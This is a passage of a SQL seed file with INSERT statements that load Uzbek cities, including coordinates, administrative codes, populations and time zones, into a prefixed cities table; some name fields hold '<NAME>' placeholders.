`active`, `created_at`, `updated_at`) VALUES ('UZ','Romitan Shahri','Romitan Shahri',64.3794,39.9294,'P','PPLA2','UZ.02',NULL,12927,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Qarshi','Qarshi',65.789,38.8606,'P','PPLA','UZ.08',NULL,222898,'Asia/Samarkand',1,'2013-05-11 23:00:00','2013-05-11 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Muborak','Muborak',65.1528,39.2553,'P','PPL','UZ.08',NULL,29180,'Asia/Samarkand',1,'2010-08-08 23:00:00','2010-08-08 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Kitob','Kitob',66.886,39.1216,'P','PPL','UZ.08',NULL,41938,'Asia/Samarkand',1,'2019-10-18 23:00:00','2019-10-18 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Kattaqo’rg’on Shahri','Kattaqo\'rg\'on Shahri',66.2656,39.9055,'P','PPLA2','UZ.10',NULL,59382,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Koson','Koson',65.585,39.0375,'P','PPL','UZ.08',NULL,59681,'Asia/Samarkand',1,'2010-08-08 23:00:00','2010-08-08 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Qorovulbozor','Qorovulbozor',64.7936,39.5006,'P','PPL','UZ.02',NULL,8618,'Asia/Samarkand',1,'2010-08-08 23:00:00','2010-08-08 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Karakul’','Karakul\'',63.8333,39.5333,'P','PPL','UZ.02',NULL,22487,'Asia/Samarkand',1,'2013-03-12 23:00:00','2013-03-12 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','<NAME>',64.5547,39.7275,'P','PPLA2','UZ.02',NULL,62620,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','Is<NAME>',66.4861,39.9664,'P','PPLA2','UZ.10',NULL,13024,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','G‘uzor','G`uzor',66.2481,38.6208,'P','PPL','UZ.08',NULL,25368,'Asia/Samarkand',1,'2016-10-06 23:00:00','2016-10-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','<NAME>',64.4464,39.8572,'P','PPLA2','UZ.02',NULL,15620,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','<NAME>',66.6642,39.7161,'P','PPLA2','UZ.10',NULL,19920,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','<NAME>',67.0933,39.6989,'P','PPLA2','UZ.10',NULL,14429,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Denov','Denov',67.8989,38.2675,'P','PPL','UZ.12',NULL,68994,'Asia/Samarkand',1,'2016-09-07 23:00:00','2016-09-07 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Dahbed','Dahbed',66.9163,39.7644,'P','PPL','UZ.10',NULL,8044,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Chiroqchi','Chiroqchi',66.5722,39.0336,'P','PPL','UZ.08',NULL,19356,'Asia/Samarkand',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Chelak','Chelak',66.8623,39.92,'P','PPL','UZ.10',NULL,16727,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Charxin','Charxin',66.827,39.6941,'P','PPL','UZ.10',NULL,13791,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Bulung’<NAME>ri','Bulung\'ur Shahri',67.2744,39.76,'P','PPLA2','UZ.10',NULL,26815,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Bukhara','Bukhara',64.4286,39.7747,'P','PPLA','UZ.02',NULL,247644,'Asia/Samarkand',1,'2019-09-04 23:00:00','2019-09-04 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Beshkent','Beshkent',65.6531,38.8214,'P','PPL','UZ.08',NULL,17010,'Asia/Samarkand',1,'2010-08-08 23:00:00','2010-08-08 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Boysun','Boysun',67.2066,38.2084,'P','PPL','UZ.12',NULL,25050,'Asia/Samarkand',1,'2016-09-07 23:00:00','2016-09-07 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','<NAME>',63.8033,39.415,'P','PPLA2','UZ.02',NULL,11984,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Oqtosh','Oqtosh',65.9253,39.9214,'P','PPL','UZ.10',NULL,38307,'Asia/Samarkand',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Zafar','Zafar',68.9,40.9833,'P','PPL','UZ.14',NULL,24781,'Asia/Tashkent',1,'2013-11-07 23:00:00','2013-11-07 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Yaypan','Yaypan',70.8156,40.3758,'P','PPLA2','UZ.03',NULL,20332,'Asia/Tashkent',1,'2015-09-05 23:00:00','2015-09-05 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Yangiyŭl','Yangiyul',69.0471,41.112,'P','PPL','UZ.14',NULL,60000,'Asia/Tashkent',1,'2010-03-06 23:00:00','2010-03-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Yangiyer','Yangiyer',68.8225,40.275,'P','PPL','UZ.16',NULL,32636,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Yangirabot','Yangirabot',65.961,40.0254,'P','PPLA2','UZ.07',NULL,25027,'Asia/Samarkand',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Yangiqo‘rg‘on','Yangiqo`rg`on',71.7238,41.1947,'P','PPL','UZ.06',NULL,28422,'Asia/Tashkent',1,'2017-07-03 23:00:00','2017-07-03 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Yangiobod','Yangiobod',70.0941,41.1192,'P','PPL','UZ.14',NULL,24900,'Asia/Tashkent',1,'2010-07-28 23:00:00','2010-07-28 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Vobk<NAME>','<NAME>',64.5021,40.0003,'P','PPLA2','UZ.02',NULL,16697,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Uychi','Uychi',71.9233,41.0807,'P','PPL','UZ.06',NULL,29683,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Ŭrtaowul','Urtaowul',69.1453,41.1867,'P','PPL','UZ.14',NULL,14047,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Urganch','Urganch',60.6206,41.5534,'P','PPLA','UZ.05',NULL,150110,'Asia/Samarkand',1,'2020-04-07 23:00:00','2020-04-07 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Dashtobod','Dashtobod',68.4944,40.1269,'P','PPL','UZ.15',NULL,19718,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Uchqŭrghon Shahri','Uchqurghon Shahri',72.0791,41.1137,'P','PPLA2','UZ.06',NULL,33323,'Asia/Tashkent',1,'2018-07-05 23:00:00','2018-07-05 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Tŭytepa','Tuytepa',69.3625,41.0321,'P','PPL','UZ.14',NULL,20682,'Asia/Tashkent',1,'2010-10-15 23:00:00','2010-10-15 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','To‘rqao‘rg‘on','To`rqao`rg`on',71.5116,40.9998,'P','PPL','UZ.06',NULL,27862,'Asia/Tashkent',1,'2016-04-09 23:00:00','2016-04-09 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Toshloq','Toshloq',71.7678,40.4772,'P','PPLA2','UZ.03',NULL,26686,'Asia/Tashkent',1,'2015-09-05 23:00:00','2015-09-05 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Tashkent','Tashkent',69.2163,41.2646,'P','PPLC','UZ.13',NULL,1978028,'Asia/Tashkent',1,'2019-09-04 23:00:00','2019-09-04 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Toshbuloq','Toshbuloq',71.5782,40.9162,'P','PPL','UZ.06',NULL,28562,'Asia/Tashkent',1,'2016-04-09 23:00:00','2016-04-09 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Sirdaryo','Sirdaryo',68.6617,40.8436,'P','PPL','UZ.16',NULL,26816,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Shovot','Shovot',60.2945,41.6582,'P','PPLA2','UZ.05',NULL,26950,'Asia/Samarkand',1,'2020-04-07 23:00:00','2020-04-07 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','<NAME>',64.5014,40.12,'P','PPLA2','UZ.02',NULL,26527,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Salor','Salor',69.3817,41.3722,'P','PPL','UZ.14',NULL,26494,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Qo’shko’pir','Qo\'shko\'pir',60.347,41.5327,'P','PPLA2','UZ.05',NULL,16948,'Asia/Samarkand',1,'2020-04-07 23:00:00','2020-04-07 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Qo‘qon','Qo`qon',70.9425,40.5286,'P','PPL','UZ.03',NULL,187477,'Asia/Tashkent',1,'2019-08-15 23:00:00','2019-08-15 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Piskent','Piskent',69.3506,40.8972,'P','PPL','UZ.14',NULL,27865,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Payshamba Shahri','Payshamba Shahri',66.2311,40.0114,'P','PPLA2','UZ.10',NULL,24772,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Parkent','Parkent',69.6764,41.2944,'P','PPL','UZ.14',NULL,35973,'Asia/Tashkent',1,'2016-03-09 23:00:00','2016-03-09 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Pop','Pop',71.1089,40.8736,'P','PPL','UZ.06',NULL,22122,'Asia/Tashkent',1,'2010-08-08 23:00:00','2010-08-08 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Paxtakor Shahri','Paxtakor Shahri',67.9567,40.3118,'P','PPLA2','UZ.15',NULL,21384,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Olmaliq','Olmaliq',69.5983,40.8447,'P','PPL','UZ.14',NULL,121207,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Ohangaron','Ohangaron',69.6383,40.9064,'P','PPL','UZ.14',NULL,35516,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Nurota','Nurota',65.6886,40.5614,'P','PPL','UZ.07',NULL,29403,'Asia/Samarkand',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Novyy Turtkul’','Novyy Turtkul\'',61.0167,41.55,'P','PPL','UZ.09',NULL,48908,'Asia/Samarkand',1,'2016-10-06 23:00:00','2016-10-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Navoiy','Navoiy',65.3792,40.0844,'P','PPLA','UZ.07',NULL,129725,'Asia/Samarkand',1,'2017-10-27 23:00:00','2017-10-27 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Namangan','Namangan',71.6726,40.9983,'P','PPLA','UZ.06',NULL,432456,'Asia/Tashkent',1,'2019-09-04 23:00:00','2019-09-04 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Marhamat','Marhamat',72.3139,40.4805,'P','PPL','UZ.01',NULL,14646,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Marg‘ilon','Marg`ilon',71.7246,40.4724,'P','PPL','UZ.03',NULL,133490,'Asia/Tashkent',1,'2015-12-04 23:00:00','2015-12-04 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Manghit','Manghit',60.0597,42.1156,'P','PPL','UZ.09',NULL,30854,'Asia/Samarkand',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Asaka','Asaka',72.2387,40.6415,'P','PPLA2','UZ.01',NULL,56736,'Asia/Tashkent',1,'2015-12-04 23:00:00','2015-12-04 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Qiziltepa','Qiziltepa',64.85,40.0331,'P','PPL','UZ.07',NULL,13558,'Asia/Samarkand',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Quvasoy','Quvasoy',71.9803,40.2972,'P','PPLA2','UZ.03',NULL,32024,'Asia/Bishkek',1,'2015-11-06 23:00:00','2015-11-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Qo‘rg‘ontepa','Qo`rg`ontepa',72.7618,40.7319,'P','PPLA2','UZ.01',NULL,25861,'Asia/Tashkent',1,'2016-08-02 23:00:00','2016-08-02 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Yangi Marg‘ilon','Yangi Marg`ilon',71.7189,40.4272,'P','PPL','UZ.03',NULL,14114,'Asia/Tashkent',1,'2015-12-04 23:00:00','2015-12-04 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Kirguli','Kirguli',71.7672,40.4355,'P','PPL','UZ.03',NULL,20459,'Asia/Tashkent',1,'2015-11-06 23:00:00','2015-11-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Qibray','Qibray',69.465,41.3897,'P','PPL','UZ.14',NULL,27750,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Xo‘jaobod','Xo`jaobod',72.56,40.6689,'P','PPLA2','UZ.01',NULL,16889,'Asia/Tashkent',1,'2016-08-02 23:00:00','2016-08-02 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Xiva','Xiva',60.3641,41.3856,'P','PPLA2','UZ.05',NULL,55567,'Asia/Samarkand',1,'2020-04-07 23:00:00','2020-04-07 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Hamza','Hamza',71.5053,40.4276,'P','PPL','UZ.03',NULL,13470,'Asia/Tashkent',1,'2015-12-04 23:00:00','2015-12-04 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, 